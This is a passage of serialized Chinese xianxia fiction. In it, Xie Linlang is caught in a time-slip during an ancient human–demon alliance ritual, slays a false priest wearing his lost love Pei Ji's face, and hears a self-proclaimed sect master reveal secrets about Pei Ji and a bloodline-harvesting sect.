裴寂夜刚开始很愤怒，但在意识到谢琳琅可能在上古坟场遇到什么后，又满心惶恐。 “琳琅在那看到我，他会生气吗？他会知道我身上发生的事，你觉得他会憎恨我、还是来找我？” 如果说上苍是公平的，向来讲究福祸相依、报应不爽，那他辗转百年的苦难、谢琳琅以天魔为画皮制作了那么多个裴霁的痛苦，又能换回什么呢？ 如果他们的相遇、相知和相爱只会给对方带来痛苦，那又为什么要执着地握住对方的手呢？ 商君没有再说话。 人心叵测，人心易变，这是他也无法回答的问题。 与此同时，上古坟场。 谢琳琅突然回头，遥遥地看向黑灰色天空的远处。 琉月奇怪地看谢琳琅：“谢道友？” 谢琳琅摇摇头：“没什么，只是恍惚听到有人在叫我，也许是我听错了。” 琉月语气微妙：“……倒也不一定，上古坟场的时间是错乱的，过去、现在和未来的时间如潮汐般此起彼伏，也许你现在听到的呼唤来自百年后，也许来自百年前。” 谢琳琅听后心中一跳。 闻净焱能打开这道裂缝，裴霁当年也打开了上古坟场的大门，难道刚才的呼唤…… 谢琳琅又一次看向刚才声音传来的方向。 琉月贴心地问：“要过去看看吗？” 谢琳琅沉吟片刻，看向琉月：“道友不是想去商君冢，寻找出去的通道吗？” 琉月莞尔道：“上古坟场为机缘之地，虽然这里比较危险，也容易被困在这儿，但商君冢又不长腿，什么时候都能去，若是能在此得到些机缘，提升实力，也是好事。” 谢琳琅：“那我就不客气了。” 谢琳琅立刻调转方向，向着刚才听到声音的地方飘去。 琉月坐在白骨傀儡上，紧紧跟着谢琳琅。 黑灰色的大地上泛着淡淡迷梦雾气，没有任何可以看做是地标的东西，地面凹凸不平，时不时有些起伏，像是一个个土山包。 眼前一览无余，一个个土山包绵延到很远的地方，黑灰色的天空和大地在远方隐隐相连，仿佛前方什么都没有，又好像一切都隐藏在黑灰色的色块里。 谢琳琅心头隐隐浮上一层悲怆之情，也许希望渺茫，可他又怎能在半路停下？ 他深吸一口气，略微停了停，缓了一下力量后再一次向前。 但只是一步，眼前的一切竟发生了翻天覆地的变化！ 谢琳琅全身僵硬，瞳孔骤缩，不可置信地看着周围。 四周花木葳蕤、繁花似锦，红色、黄色、紫色、粉色等花朵堆积成了一层层花海，花海中有着长长的廊道，廊道两侧有着低矮的柳树，长而细的柳枝上绽放着粉嫩的绿芽。 而他就站在这片花海廊道的中间，侧面就是一大片垂丝海棠，微风漂浮，细碎的花瓣散落在他的衣襟上。 “倒是让我好找。” 背后一个娇俏的声音传来，“你可是仪式上的掌花使，怎么在这里躲懒了？” 谢琳琅快速回身，只见身后站着一个穿了鹅黄色长裙的女子，只是这女子脸颊边缘有着细碎的羽绒，一双眼眸是竖瞳，耳朵后面还竖立着耳羽。 她有着明黄色的微卷发丝，长发垂下，边缘处直接变成了翎羽。 同时少女抬起的手腕上也有着细碎翎羽，她周身萦绕着强大妖力，显然是一位飞羽禽类大妖。 黄色绒羽的少女伸手，手指纤细且长，手指指尖尚且带着长而利的爪子尖尖。 她一把抓住谢琳琅的手腕，用力一拉：“快随我来，明日的仪式万万不可出什么岔子，不仅仅是族内次祖等一众血脉醇厚的先辈们，据说人族那边还会来两位圣人座下的炼气士，商君和叶仙子也会来，咱们可要再排演一遍才行。” 谢琳琅不明所以，什么是掌花使？什么仪式？圣人座下炼气士？这不是上古时代对修士的称呼吗？ 商君？难道上古坟场内的时间潮汐将商君还在世时的情景复现出来了？ “我只是掌花使，可担不起搞砸仪式的罪名。” 谢琳琅开口，试图打探更多消息，“他们都到齐了？” “丽姐姐去找副祭司了，大祭司正在祈福，不便打扰，副祭司帮忙走流程也没关系啦。” 少女声音明亮如黄鹂，“煊鹤有些紧张，你和他同族，许能让他冷静些，农氏的首领可比煊鹤稳重多了，咱们妖族可不能在人族面前丢脸。” 谢琳琅挑眉，同族？哦，他以鹤骨复生，在这妖族少女眼中，他自动归属妖族了吗？ 那么煊鹤应该也是妖族。 按照琉月的说法，玄商王朝是人族和妖族共存的时代，如果煊鹤是妖族，农氏的首领很可能指人族部落农的首领。 原来如此，谢琳琅通过细碎的信息，快速整合出了大概情景。 他好像进入了一个玄商王朝的时间片段，明天要举行一场祭祀，煊鹤和农氏的首领是妖族和人族的代表，谢琳琅自己是什么掌花使，还要有个大祭司，他们四个人共同参与仪式。 会有一些大人物来此见证仪式，比如不知道是那一代的商君和姓氏为叶的仙子，再比如圣人座下的炼气士，以及血脉醇厚的大妖等等。 眼前这少女来找他，是为了再进行一次仪式前的彩排，防止仪式现场出岔子。 谢琳琅理清楚前因后果后，他一边放松身体顺着少女的力度向前走，一边不着痕迹地观察周围和身后。 琉月一直跟在他身后，他去哪里了？ 以及谢琳琅为什么会落入这片时空缝隙里？是琉月提议向着声音方向进行探索，难道他知道什么？ 谢琳琅满心疑惑，正自思考时，突然眼前景色一变，仿佛那少女拉着他穿过了花海，眨眼间就来到了一处富丽堂皇的巨大殿堂内。 这里是一处露天的高台，台子周围悬挂着红色和蓝色的旗帜，台子不远处架设了观景台，上面摆放了一些座位。 整个高台下方是一株低矮的大树树冠支撑，而在高台上站着几个人。 谢琳琅来不及仔细观察，第一时间被站在边沿处的青年吸引了。 那青年穿着宽大的袍子，头戴玉冠，眉目疏朗清隽，黑眸中满是笑意，他手持一枚方形法器，身披绘满了山川日月符文的绶带，腰佩玉色长剑。 正是裴霁。 第93章 第 93 章 那个披着裴霁面容的重祭…… “好啦, 掌花使到了，咱们开始排演吧。” 黄发少女的声音像是一个开关，眼前站着的几个人都动了起来。 谢琳琅呆滞地看着裴霁, 整个人都麻了。 “掌花使怎么在发呆？不认识重祭司了？” 黄发少女拉扯了一下谢琳琅, “万一明天仪式上发呆, 那真是怎么死的都不够赎罪了。” 谢琳琅完全不知道自己做了什么, 他被黄发少女扯到了一个位置上, 还是呆滞地看着裴霁。 名为重祭司的青年似乎注意到了谢琳琅的异样, 他给了谢琳琅一个询问的眼神，继而安抚地笑了笑，做了个口型。 “一会聊。” 谢琳琅久久无法回神。 他曾召唤过很多天魔，那些天魔都会幻化成裴霁的模样, 可不管天魔怎么笑, 都无法笑出独属于裴霁的神韵。 尤其是这种温柔的、宽慰以及包容的感觉, 这是久违了。 谢琳琅眼一闭，差点落下泪水。 “掌花使以花为祝。” 黄发少女原来是司仪, 她说完后狠狠地瞪了谢琳琅一眼。 谢琳琅张了张嘴, 他满脑子都是终于见到裴霁了，以及裴霁为什么会在这里。 至于这个掌花使要做什么？什么掌花使？这些问题全都被他抛在了脑后。 但下一秒，他的身体就仿佛被未知力量控制，自发地上前一步, 朗声道：“皇天后土, 伏惟神灵鉴之：今农氏与鹤族血脉相融、永世交好，两族同心, 子孙昌盛！” 随着谢琳琅的话语，一朵旋转绽放的黄色花朵从他双手掌心出现。 在看到这朵花的瞬间，谢琳琅心神巨震：这不是妖族的引魂灯吗？ 是了, 他现在是妖族，引魂灯是妖族大能为了指引后世妖族神魂回归祖地的路标，所谓掌花使其实是指引两族魂灵共同回归先祖之地的意思啊！ 引魂灯出现后，轻飘飘飞在了一个穿着黑色长袍、长发为鹤羽的青年身前，而他对面站着一个穿着单衣长裤、面容古朴肃然的中年人。 长着裴霁面容的重祭司同样上前，朗声道：“天地为证，日月为鉴，若有背弃此盟者，神魂将遭到两族诅咒，山岳覆其身，凶兽啮其骨，万劫不复、永世不得翻身。” 随着重祭司的话音落下，他身上绣着山川日月的绶带轻盈飞起，缠绕在鹤羽青年和中年人之间。 两人对视一眼，互相对拜，继而割破手腕，共同饮下血盟之酒。 黄发少女见状大声道：“礼成！” 一直站在旁边的女子柔声道：“大概流程就是这样，还有谁有疑惑，尽管提。” 鹤羽青年迫不及待地问：“听闻商君会亲自来仪式现场，这是真的吗？” “自然是真的。”女子轻笑道：“这一批人妖混血的后裔经此仪式，将彻底单独独立出来，和农氏部落成为一家人，在如此紧绷的时局，对商君来说是最大的支持和赞同，他肯定会来的。” 手持方形礼器的重祭司温和地说：“是啊，不管是人族还是妖族，都是天道生灵，虽然上世代妖族为天道宠儿，但如今世事变化，天道之力眷顾人族，妖族容纳人族血脉，人族获得妖族神通，由此可以平稳交接两族力量，这是天道也乐见的好事。” 顿了顿，他又说了一个重要消息。 “我听大祭司的意思，是要请出当年玄商刚建立时，天道降临的同心玉璧。” 黄发少女惊呼道：“同心玉璧？那不是玄商立朝的功德圣器啊？” 谢琳琅静静听着，原来大夏结束后，尽管人族崛起，可妖族的整体力量还是强于人族，大夏王族末裔已然发誓退隐，却不代表其他妖族愿意俯首称臣。 经过协商，最终玄商建立起来了，商君作为人族和妖族两股势力的平衡人选登上了古老传说的舞台。 商君必须拥有两族血脉，修行人族术法的同时又要觉醒妖族神通，但随着时间流逝，代代商君还是不可避免地偏向了人族。 一方面是人族具备强大的繁衍能力，人族血脉不断稀释了妖族血脉，如今人妖两族混血后裔中，觉醒妖族神通的后辈越来越少，连带着妖族新生儿的力量也越来越微弱。 过去上古大妖出生就有元婴实力，而现在初生妖族只有炼气水平。 另一方面，人族炼气士还在崛起，人族开创了诸多术法流派，人类通过修行就可以获得远超于妖族的力量，而这样的炼气士数量越来越多，他们对利益的诉求导致商君不得不偏向势力崛起的人族，这让妖族逐渐感受到了灭族的危险。 于是妖族内部逐渐出现了一个全新的声音：彻底隔绝与人族的交流，摒弃人族血脉，重新找回妖族纯血神通，唯有父母双方都是妖族的后裔，才有资格为妖族！ 人族和妖族的隔阂日渐加深，而对人族来说，具备妖族血脉的混血先天就有着远超普通人的力量和天赋，凭什么呢？ 不患寡而患不均，人族修士内部也有一股声音，他们认为非我族类其心必异，那些混血修士全都心向妖族，不算纯正的人族修士。 随着炼气士开宗立派的数量越来越多，人族修士实力变得越发强大，位于二者中间、常年保持两边力量平衡的商君越来越难做了。 眼前这场两族同盟大祭，就发生在这样的背景下。 商君希望通过这场盛大的同盟仪式，向世人表示人族和妖族依旧互为邻里、和睦友好。 排演结束后，谢琳琅立刻走向裴霁。 农氏的首领似乎想和裴霁说什么，但见到谢琳琅靠近后，略显诧异地瞥了谢琳琅一眼，继而行了一礼，转身离开了。 谢琳琅深吸一口气，他吸着气，尽可能让自己的声音听起来沉稳和缓，保持自己的礼仪和姿态，不让自己过于激动。 “重祭司，我有些事想和你聊聊。” 裴霁爽朗地笑道：“可以，刚才你就一直看我，是我身上有哪里不妥当之处吗？” 谢琳琅没有立刻回答，而是抬手做了个请的姿势。 他不知道这个时间空隙是怎么回事，但既然他能和黄发少女在一瞬间从花海来到高台，那同样应该能立刻变换空间。 果不其然，在谢琳琅和裴霁走下高台的瞬间，四周景色一花，他们两人出现在了一个山林间的亭子里。 从亭子俯瞰远处，还能看到之前谢琳琅身处的花海。 谢琳琅闭了闭眼，继而认真地看向裴霁：“重祭司，明日就是仪式了，我想再确认一遍，农氏是真心要结盟的吗？” 重祭司听到谢琳琅的话，立刻严肃起来：“这是自然，难道鹤族听说什么不好的消息？” 谢琳琅深深注视着裴霁，这到底是时空的片段，还是裴霁曾来过这里，才留下了身影？ “我总是心有不安。”谢琳琅轻轻叹息着，他垂眸，防止眼中泄露出心底真实的情绪，“商君希望两族重归于好，但我们都知道……” 谢琳琅故意放慢语速，果不其然，身前的人接话道：“是啊，妖族那些三代祖和四代祖都很不满如今的妖族后裔，认为是人族的血玷污了妖族血脉，导致妖族后裔无法觉醒神通……可是他们也不想想，天道之下，妖族气运消退，人族崛起，妖族后裔不复曾经的优秀，这不是很正常的事？” “潮涨潮落，妖族在衰落，明明都是大家知道的事，为什么就是不能看清现实并接受呢？” 谢琳琅沉默了，半晌才语气艰涩地说：“是啊，要顺应天地变化方为正道。” “农氏部落依四时而耕，非常注重顺天而行，所以放心吧。” 重祭司如此说。 谢琳琅微微欠身行礼：“我没有疑惑了。” 重祭司虽然不明所以，但还是笑着离开了。 看着重祭司的身影消失在花海之中，谢琳琅的眼神微冷。 这不是裴霁。 修士逆天而行，本就在损天地而补自身，是以裴霁从不会说什么顺天而为的狗屁话。 这一刻，在谢琳琅眼中，那重祭司就是另一只天魔，一只胆敢在他面前弄虚作假的天魔。 时间一眨眼就过去了。 第二天高台附近出现了诸多面容各异的人妖混血后裔，高台附近的观景台上也出现了一些看起来是大人物的家伙。 有妖气波动异常可怖的妖族老祖，也有三个似乎是人族炼气士的修士。 其中一人居然是琉月。 琉月远远地冲着谢琳琅眨了一下眼睛，谢琳琅垂眸不去看琉月。 也许眼前这场景可能是玄商时代非常重要、极具意义的一幕，甚至可能在这场祭祀上发生了什么改变时代转折的大事。 但对谢琳琅来说，这些都是过去的事了。 他不在乎什么人族和妖族的同盟，也不在乎玄商王朝的发展变化。 谢琳琅现在满脑子只想着一件事。 那个披着裴霁面容的重祭司，该死。 不知何时，四周安静下来，黄发少女再一次站在高台上，她作为司仪，大声说着颂词，在念到：“……两族修好，万年不变，请掌花使以花为祝……” 按照流程，谢琳琅应该上前说出自己的祝词。 这是昨天已经排演好的。 谢琳琅抬起双手，掌心一吐，花朵形态的引魂灯旋转绽放，轻轻飘了起来。 他上前一步，大声道：“皇天后土，伏惟神灵鉴之……如此鬼怪在眼前画皮，岂可容之？” 话音落下，谢琳琅手腕一抖，七星剑如流星，青蓝色的剑光冲入了斜前方披着裴霁的面容的重祭司胸前！ 观景台上的琉月倒吸一口冷气。 但下一秒，那农氏的首领竟也手腕一番，露出了一枚古朴的斧头。 “小辈干得好！老夫培风，快来助老夫一臂之力！” 第94章 第 94 章 那、那寂夜宫主……岂不…… 琉月惊呆了。 他没想到谢琳琅会在祭祀举行到最关键时刻动手。 正常修士进入上古坟场, 哪一个不是小心翼翼，尽量按照历史进程融入其中，再小心从中取得自己用得上的资源。 你谢琳琅不琢磨着赶紧提升实力, 竟然直接动手, 也太莽撞了吧？ 这和裴霁说的不一样啊！ 但紧接着那农氏首领暴起伤人, 又一次惊到了琉月。 再等等, 这农氏首领怎么动手了？他刚才说什么？老夫培风？ 琉月倒吸一口冷气。 现场一片混乱, 观景台上的几个妖族老祖面面相觑, 纷纷传音入秘。 “你干的？” “不是，我还以为是你干的。” “那为什么鹤族的小子突然动手？” “难道他其实一直不赞同鹤族的决议？” “妙啊！” 无独有偶，同样处于观景台另一侧的炼气士也在窃窃私语。 “你们谁联系的农氏首领？” “不是我。” “我联系过，可他此前信誓旦旦要追随商君, 接纳那批混血后裔, 怎么……” “我们安排的人呢？” 坐在观景台最前方的有两人, 其中一人身穿玄色长袍，头戴冠冕, 身披金色披风, 见到祭祀高台上的异变，勃然大怒。 “放肆！” 随着身穿玄色长袍的青年起身咆哮，整个空间似乎都凝固了一瞬。 谢琳琅没有理会周围的人，他只是执着而坚定地挥舞着七星剑, 试图干掉这个披着裴霁面皮的重祭司。 那自称培风的农氏首领也尽力配合谢琳琅, 主动帮忙拦下了高台上其他人的进攻。 培风老儿高呼：“快！这小儿最重要的神魂法器是他手里的玉圭礼器！” 谢琳琅一听，目光立刻落在重祭司手里紧紧抓着的淡黄色玉质的礼器上。 重祭司遭到谢琳琅偷袭, 胸口受伤，然而谢琳琅此刻实力不足，只是浅浅划开了一道口子, 已然在重祭司的力量下开始愈合。 那重祭司仍然是裴霁的面容，正一脸怒色：“怪不得你昨日说祭祀上可能会出问题，原来真正的奸贼是你！” 谢琳琅不去理会重祭司的话，他身剑合一，直接冲向重祭司。 重祭司身上的绶带如花朵般散开，从四周缠向谢琳琅，想要将他捆缚起来。 就在此刻，高台突然晃动了一下，巨大的爆炸声传来，所有人都陷入了失重的状况，竟是高台下方碎裂了！ 谢琳琅人在半空，本是一剑刺入重祭司的胸腹位置，结果重祭司脚下变空，他竟摔了下去，谢琳琅的剑刃刺在了肩膀上！ 下一秒，谢琳琅借力翻身，手一甩，手腕上的藕丝轻盈一勾，正好将重祭司手里拿着的黄色玉质的礼器缠了起来。 谢琳琅顺势冲出的同时，用力一拽。 重祭司面色陡变：“不好！” 他厉声道：“星辰俯听、山川流转，回！” 谢琳琅只觉得藕丝缠绕的玉质礼器突兀变得异常沉重，丝线拉扯下，谢琳琅的身体甚至反而被拽了回去。 谢琳琅惊叫道：“糟糕！” 重祭司狞笑道：“给我回来吧，你……” 但这句话永远说不出来了。 不知何时，眼前的谢琳琅消失了，他身后一道幻光闪现，真正的谢琳琅早已摸到了他身后，一剑穿过重祭司的后心。 “干得好！” 自称培风的农氏首领长笑道：“虽然与我想的不同，但也不影响老夫的目的。” 下一秒他抬手放出了一个巨大的石碑。 他放的非常准时，恰好是观景台上玄色长袍之人落下来的瞬间。 “人妖共治，代天而商，汝等……” 谢琳琅一击得手，没有理会农氏首领，而是急速后退，试图远离战场。 他的目的是干掉这个披着裴霁面皮的假货，至于其他事情与他无关。 可就在他抽身的瞬间，谢琳琅看到了玄色长袍之人的面容，不由得露出惊异之色。 这人有着极为妖异俊美的容颜，一头黑色长发覆了晶莹珍珠发网，但最令谢琳琅印象深刻的是这人的眼眸：那是一双金色竖瞳！！ 纵然很多妖族和魔兽、甚至很多修士修行特殊功法后，也会有一双金色竖瞳。 可谢琳琅在看到这双眼睛的瞬间，脑海里就浮现了寂夜宫地宫深处，在试图反叛宫主的那一夜里，出现在背叛者们面前的、疑似寂夜宫主之人的眼睛！ 那也是一双金色竖瞳。 好好好，他寻找的方向没有错，寂夜宫和玄商有关！ 有了成周遗脉夺舍神微真人的例子，谢琳琅几乎瞬间得出了一个可能：寂夜宫主疑似是玄商时代的某位商君！ 于是谢琳琅剑锋一转，直指商君。 恰好那培风老儿放出的石碑和商君手里甩出的什么东西撞在了一起，又一声非常恐怖的声音响起，继而整片天都暗沉了下来。 “糟糕！祭祀在半中腰出岔子，祭台损毁，同心玉璧出现了裂纹！” 黄发少女惊慌失措的大喊起来：“天要怒了！” 伴随着这句话，漆黑的云层中翻滚着恐怖的力量，下一秒，如利刃般的雷电从天而降，狠狠地劈在了已经破损的高台上。 观景台上一个身披蓝色长帛的女子起身，她轻轻叹息，抬手遥遥一点，仿佛有什么东西张开了。 谢琳琅浑身毛骨悚然，这种熟悉的感觉…… 他本是想偷袭商君的，可在这一刻，他筑基期的修为正在飞速提升，从筑基变成金丹，再变成元婴，眨眼间竟恢复了化神的修为！ 这一幕是不是有点眼熟？ 细细的磷粉似乎从眼前飘过，细腻而流动的薄纱拂过谢琳琅的发丝，巨大的仿佛羽翼般的力量穿过所有人。 天上神雷落地后如电网般扩散开来，所有来参加祭祀的人全都痛苦地捂着耳朵，五官出血，身体抽搐，生命力急速降低。 他们的神魂则在薄纱般的力量帷幕里逐渐脱离身体，一个个泛着淡淡光彩的灵魂流入了未知之地。 而就在此时，那培风老儿大喊道：“天地之灵归我用，定！” 谢琳琅扭头看去，不由得瞪大了眼睛。 培风老儿用的竟是九灵宗抽取神通的图腾秘法，他趁着在场所有混血后裔遭到天地神雷的惩罚、身体将死未死之际，竟使用九灵宗的秘法将之变成图腾之灵？！ 培风的目标是高台上的黄发少女，那少女的神魂已然离开，留下的躯壳成了无主之物，随着培风施法，黄鹂的清亮啼叫声一闪而过，化为一只振翅欲飞的鸟儿图腾，如流水般刻录在了培风老儿的胳膊上。 直到此刻，谢琳琅才看到培风的袖子下已然刻下了数十道图腾了。 “好了，此地不宜久留。” 培风老儿看向谢琳琅的眼神很和善：“下次再聊。” 他这么说着，抬手握住古朴的小斧头，直接给自己来了一下！ 噗叽，培风老儿倒地不起，他也死了。 谢琳琅看得一愣一愣的，就在他想上前查看情况时，突然眼前的一切都在急速后退。 画面旋转如万花筒，高台从破碎恢复成原样，死亡的黄发少女重新恢复身材，原本死不瞑目的重祭司再一次站立起来。 只是一眨眼的功夫，昏暗的天色就恢复了明朗，而黄发少女正不满地站在他面前。 “你发什么呆？若是明日祭祀出什么岔子就麻烦了，快点再来排演一遍啊！” 谢琳琅猛地回神，他下意识地看向高台上的农氏首领。 农氏首领，也就是培风老儿笑着对谢琳琅点点头。 “掌花使以花为祝。” 谢琳琅长出一口气，他定了定神，快速上前，按照上一次的流程说完了颂词。 排演结束后，谢琳琅没有理睬有着裴霁面容的重祭司，而是看向了农氏首领培风老儿。 果不其然，培风老儿上前邀请谢琳琅就明日的祭祀典礼进行详谈。 两人在其他人面前装模作样地说了几句，一起离开了高台。 就在他们离开的瞬间，四周景色大变，不再是之前谢琳琅和重祭司谈话的亭子，而是一处茅草屋。 培风老儿这才看向谢琳琅。 “老夫培风，道友，不知如何称呼？” 谢琳琅眸光微闪，他自我介绍时加了出身：“寂夜宫弟子谢玉，因为一些意外落入了上古坟场，还请前辈不吝赐教。” “哦？你居然是寂夜宫弟子？” 培风老儿果然露出满意笑容，“哈哈哈真是意外，小子你运气不错，老夫培风，为寂夜宫主。” 谢琳琅倒吸一口冷气。 “你是宫主？不可能！宫内一切正常，宫内前辈也没有说宫主出门了，他一直在寂夜宫内！” 培风老儿眼眸中闪过一丝冷意：“这自然有原因，那老夫问你，你为何要袭击那个祭司？” 谢琳琅面色有些难看，他迟疑着说：“方师兄曾说，此人是我宫内大敌，若是出门在外见到此獠，实力不济就算了，但如果找到机会，一定要想办法干掉他！” 谢琳琅这么说着，还放出了此前方师兄留给他的雀子。 “方师兄照顾我良多，又是宗门前辈，我自然遵从他的话……” 培风老儿伸手抓住一只叽叽喳喳的雀子，略一检查就发现，这雀子并没有强制契约的痕迹，培养手法也的确是寂夜宫嫡传。 他叹了口气：“你那方师兄师承何人？” “方师兄的师尊据说是宫主嫡传。” 谢琳琅报了当初郑师兄提过的名号。 培风老儿潸然泪下：“没想到他还记得我，想来你是他之后的第三代了。” 随即培风老儿目露狠厉之色：“那裴霁夺取了寂夜宫，将老夫放逐在玄商的坟场裂缝内，老夫不会放过他的！” 谢琳琅慢了半拍，突然反应过来：“什么？” 裴霁夺取了寂夜宫？那、那寂夜宫主……岂不是裴霁？ 第95章 第 95 章 他不爱他了。 谢琳琅的脑子有些乱。 如果培风是寂夜宫主, 裴霁将之放逐在上古坟场，那意味着裴霁这些年……这些年…… 谢琳琅的身体摇摇欲坠，漆黑的眼眸仿佛染了血光, 仿佛要弑人一般。 培风老儿见到谢琳琅如此反应, 再想到谢琳琅刚才剑指重祭司, 故意道：“怎么？你和裴霁有仇吗？” 谢琳琅茫然地抬头看向培风, 他的嘴巴张开又合上。 来回几次后, 他突兀闭上眼, 泪水簌簌落下，脸色苍白如纸。 “他、他……” 谢琳琅抬手捂着脸，声音如玉碎般泛着冰凉和痛苦。 培风老儿嘴角快速上翘，又赶紧压了下去, 他一脸沉痛, 重重叹息：“唉, 好孩子，不用担心, 待我回宫, 你受了什么委屈，老夫都为你一一讨回来！” 谢琳琅的心痛如刀绞，脸色惨白，培风老儿的话像是风, 从耳边掠过, 却完全没被他听到心里去。 此刻谢琳琅满心满眼只有一个想法。 裴霁明明还活着，但这么多年却从未来见他, 甚至也没托人给他带话。 这只能说明一件事。 他不爱他了。 谢琳琅只要一想到这个可能，就恨不得将眼前的一切都毁了。 “他怎么会……” 裴霁怎么可以这样啊…… 他怎么可以看着他陷入这场无妄的等待中，一言不发, 全当什么都没发生？ 培风老儿并不知道谢琳琅的想法，误以为谢琳琅在询问裴霁怎么会成为寂夜宫主，就面色沉痛地道：“我看你修为不高，恐怕是刚入寂夜宫没多久吧？我寂夜宫作为魔域大宗，传承悠久……” 谢琳琅刚开始满脑子都是裴霁为什么这么多年不来见他的愤怒和痛苦，可是随着培风老儿的讲述，那股锥心的痛苦渐渐收敛、压平并变成了更深沉的疯狂而压抑在心底。 最起码从面上来看，谢琳琅似乎平静了下来，他静静听着培风老儿讲述此前发生的事。 此前曾说了，真界和魔域虽然被界门隔开，但实际上真修和魔修没什么区别，只是修行的功法和吸收的力量不同，二者常有关系亲厚的宗门结为同盟。 比如梦华仙门和天魅宗就关系密切。 寂夜宫此前曾和九灵宗为同盟，二者常年保持着互相派遣弟子交流的习惯。 尤其是寂夜宫每百年一次的寂夜长吟，对九灵宗和寂夜宫来说是非常重要的、获取上古大妖材料、血肉以及图腾之力的好机会。 培风老儿避重就轻，一脸恼怒：“但裴霁和九灵宗有私仇，竟暗中偷袭我，将我封入了上古坟场，也不知道如今九灵宗怎么样了，寂夜宫是否还安好……” 谢琳琅垂眸，声音幽冷：“那裴霁若果真实力强悍，何必利用寂夜宫的力量？他完全可以直接覆灭九灵宗，既然他行偷袭之事，说明当时他实力不如您，那他又怎么偷袭成功的？” 培风老儿沉默良久，才无奈道：“你倒是聪颖，也罢，老夫就将寂夜宫的秘密告诉你吧。” 九灵宗修行需要抽取大妖的神通和血脉之力，然而时移世易，这年头血脉醇厚的大妖越来越少了，但九灵宗弟子数量逐年增加，弟子们对妖族血脉神通的需求越来越大。 即便九灵宗自己豢养灵兽，也跟不上弟子们损耗的速度，而且豢养的灵兽实力也越来越低，九灵宗修士若想获得更厉害的妖兽，只能自己想办法去各地狩猎。 寂夜长吟虽然可以帮九灵宗获取一定数量的上古海妖，可还是那句话，百年才一次机会，而且上古海妖实力强悍，九灵宗抓捕海妖时也得冒巨大风险。 那有没有一种安全的、又能得到强大力量妖族血脉的方法呢？ “上古玄商王朝，妖族和人族关系还算和睦，二者多有血脉融合的后裔，妖族和人族各自为了族群发展，开发了种种增加相应血脉纯度和强度的秘法。” 培风老儿指了指身周，“九灵宗传承自上古衍灵宗，而衍灵宗最早其实就是玄商中那些混血后裔开创的门派，九灵宗通过秘法和开派祖师留下的信物，总算捕捉到了上古玄商王朝的时间缝隙，将之固定成了坟场出入口。” 谢琳琅想到之前看到培风老儿将那黄发女子吸收为图腾之灵，若有所思：“九灵宗的修士可以出入这些时间片段，利用图腾抽取的秘法，获取上古时代大妖的神通？但这终究只是时间缝隙记录下的一些上古片段……” 又不是真的将那些妖族大能的血脉抽走了？ “真的只是片段吗？” 培风老儿意味深长地说：“这里是坟场，你知道这里覆灭死亡了多少上古大妖吗？” 谢琳琅恍然大悟：“原来如此，只要您施展秘法，哪怕目标死亡，可他们的血脉却早已浸润了这片坟场的每一寸土地，总能抽到一二力量。” 培风老儿含笑点头，话音一转：“你知道这场祭祀的结果吗？” 谢琳琅怔了怔，不明所以：“您是指刚才那场鹤族和农氏首领的盟约仪式？” 培风老儿点头，唇角泛着冷意：“商君希望人族和妖族能和平共处，然而事与愿违，来观礼的那三个炼气士暗中设下了三才灭杀大阵，而妖族大能也居心叵测，暗中偷袭了商君身侧的叶仙子，这场仪式正是玄商王朝覆灭的开端。” 谢琳琅眯了眯眼，他想到自己的实力大幅度恢复到化神期，想到流萤岛的妖蝶前辈，想到那叶仙子，轻声道：“叶仙子是何来历？” 培风老儿皱眉：“貌似是散修炼气士，不知道出身，只知道和商君关系莫逆，有着可怕的法力和术法，这场祭祀后，现场存活之人十不存一，而叶仙子在被六个大妖围攻偷袭重伤的前提下，还卷走了在场所有死去生灵的神魂……” 谢琳琅眸光微闪，他想到当初方师兄说，妖蝶前辈大部分时间都在沉睡，难不成这妖蝶和叶仙子有什么关系？ 谢琳琅幽幽地说：“但她卷走这么多神魂，却便宜了九灵宗和前辈，可以将之当做锚定血脉的标记，不断通过收取神魂的瞬间，来抽取大妖血脉。” 培风老儿赞许道：“孺子可教，所以老夫才选择这个时间片段。” 谢琳琅话音一转：“这和裴霁有什么关系？” 其他人都不重要，重点是裴霁！ 培风老儿咳嗽了一声：“这场盟约仪式被破坏后，玄商王朝各部落都发生了叛乱和征战，妖族内部曾接纳过一些从人族转化为妖族血脉的后裔，妖族认为这些转化妖族心怀不轨，二者爆发了剧烈的冲突和战斗……” 不独妖族内部出现了撕裂，人族内部也有很多纷争。 有妖族血脉的人族修士先天就比普通修士更便利、更能轻松踏入修行之道，早已被很多普通人眼红嫉恨。 有人喊出了非我族类其心必异的口号，不管是妖族和人族竟都以为由对内发动了大清洗，因此而死的混血修士和妖族数不胜数。 他们都随着玄商王朝一起覆灭消失在了历史长河中，知道此事的人少之又少。 “所以玄商的坟场被称为商君冢。” 培风老儿意味深长地说：“这不仅仅是商君的坟墓，还是当时整个大陆大约八成以上的混血后裔的坟墓。” 谢琳琅继续提醒培风老儿：“这和裴霁有什么关系？” 培风老儿心中不虞，不过想到谢玉和裴霁有大仇，在刚才的祭祀里，谢玉竟剑指与裴霁相同容颜的重祭司，不由得神情缓和下来。 “小辈莫要心急，这就说到裴霁了。” 培风老儿缓缓道：“既然商君冢为无数混血后裔的坟墓，那九灵宗在此抽取上古混血大妖血脉神通之力，你觉得会有什么后果？” 谢琳琅皱眉：“他们都是枉死在各自族内清洗之中，又受到坟场内的诅咒、怨恨和死亡气息的熏陶，即便他们的神魂被那叶仙子护持着……” 培风老儿笑道：“没错，冤魂不平、亡魂愤恨，九灵宗此举自然会遭到商君冢内的怨灵白骨袭击和反噬。” 谢琳琅恍然大悟，他明白之前袭击琉月的东西是什么了？ 那是一个个曾死于上古时代的混血大妖的白骨怨灵！ 至于为什么那些白骨怨灵见到他后就退去了，也许是魂灯的缘故？ “为了平息怨灵，欺骗那些枉死的白骨怨灵，九灵宗想到了一个好办法。” 培风老儿兜了个大圈子，终于说到了重点，“抓捕后世的人族修士，以此为祭品，献给那些白骨怨灵，平息他们的愤怒，让他们发泄曾经的怨怼，并趁着他们安静下来后抽取这片土地的神通。” 谢琳琅长出一口气。 原来如此，一切都对上了。 当初裴霁接到许修士的邀请，前往九灵宗，因为一些意外，不知怎么的被九灵宗确认有妖族血脉。 裴霁拼死反抗却失败了，他的确被抽取了妖族血脉，甚至他的佩剑洞玄也成了许修士的囊中之物。 但裴霁还是伯夏修士，在生死关头，他孤注一掷打开了上古坟场的大门。 偏生九灵宗为了定期抽取商君冢内的混血大妖血脉和神通，在九灵宗内部固定了一个前往商君冢时间缝隙的入口。 于是裴霁边战边退，进入了上古坟场。 “……那这也是裴霁和九灵宗结下的恩怨，与我们寂夜宫有什么关系？” 谢琳琅快速在心里理清楚了前因后果，抬眸看向培风老儿，一脸关切，“前辈因此被困在商君冢内，真是苍天不公啊！” 